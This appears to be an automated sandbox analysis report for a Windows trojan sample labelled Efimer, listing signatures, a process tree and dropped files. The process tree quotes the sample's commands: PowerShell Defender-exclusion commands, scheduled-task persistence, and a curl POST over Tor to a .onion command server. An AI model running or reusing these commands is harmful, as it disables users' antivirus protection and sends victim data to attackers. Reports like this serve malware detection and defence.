Analysis
- max time kernel
150s - max time network
156s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
11/04/2026, 05:49
General
- Target a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe
- Size 12.0MB
- Sample260411-gh63jsct8x
- SHA256 a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9
Malware Config
Signatures
- Efimer
Efimer is a trojan written in JS.
- Efimer family
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"C:\Users\Admin\AppData\Local\Temp\a3d7ee308105111338b97f86e5d2493b903cc1a532272785f37f723216fc5ba9.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ahiri'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ahiri'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn ivigo /xml C:\Users\Public\Documents\ahiri\ivigo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn ejocu /xml C:\Users\Public\Documents\ahiri\ejocu.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ahiri\ejocu.js1⤵
- Suspicious use of WriteProcessMemory
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C:\Users\Public\Documents\ahiri\ugate.exe"C:\Users\Public\Documents\ahiri\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "GUID=vt1z-6056c0b8&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
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C:\Users\Public\Documents\ahiri\ugate.exe"C:\Users\Public\Documents\ahiri\ugate.exe"2⤵
- Executes dropped EXE
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C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ahiri\ivigo.js1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.dll
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_3kmmitp1.nh5.ps1
cfile
cached-certs
cached-microdesc-consensus
cached-microdescs.new
cached-microdescs.new
state
GUID
cinfo.inf
ejocu.js
ejocu.xml
ivigo.js
ivigo.xml
ugate.exe
words.txt
memory/1120-123-0x000001F23BCB0000-0x000001F23BCC2000-memory.dmp
memory/1252-153-0x000002522BF60000-0x000002522BF72000-memory.dmp
memory/2408-79-0x0000022175690000-0x0000022175743000-memory.dmp
memory/2408-83-0x00000221759C0000-0x00000221759DA000-memory.dmp
memory/2408-62-0x0000022175270000-0x0000022175280000-memory.dmp
memory/2408-61-0x0000022175270000-0x0000022175280000-memory.dmp
memory/2408-69-0x0000022175240000-0x0000022175262000-memory.dmp
memory/2408-70-0x0000022175270000-0x0000022175280000-memory.dmp
memory/2408-82-0x0000022175430000-0x000002217543A000-memory.dmp
memory/2408-78-0x0000022175400000-0x000002217541C000-memory.dmp
memory/2408-72-0x00007FF448860000-0x00007FF448870000-memory.dmp
memory/2408-86-0x00000221759A0000-0x00000221759AA000-memory.dmp
memory/2408-84-0x0000022175440000-0x0000022175448000-memory.dmp
memory/2408-85-0x0000022175470000-0x0000022175476000-memory.dmp
memory/2408-92-0x000002215D170000-0x000002215D182000-memory.dmp
memory/2408-81-0x0000022175450000-0x000002217546C000-memory.dmp
memory/2408-80-0x0000022175420000-0x000002217542A000-memory.dmp
memory/3572-190-0x00007FF6CAD10000-0x00007FF6CAD42000-memory.dmp
memory/3572-87-0x00007FF6CAD10000-0x00007FF6CAD42000-memory.dmp
memory/3696-108-0x000001831C550000-0x000001831C562000-memory.dmp
memory/4180-168-0x000001DCCA620000-0x000001DCCA632000-memory.dmp
memory/4696-88-0x00007FF6CAD10000-0x00007FF6CAD42000-memory.dmp
memory/4696-89-0x0000000070180000-0x000000007022B000-memory.dmp
memory/4696-189-0x0000000070180000-0x000000007022B000-memory.dmp
memory/4696-188-0x00007FF6CAD10000-0x00007FF6CAD42000-memory.dmp
memory/5016-138-0x00000135CE600000-0x00000135CE612000-memory.dmp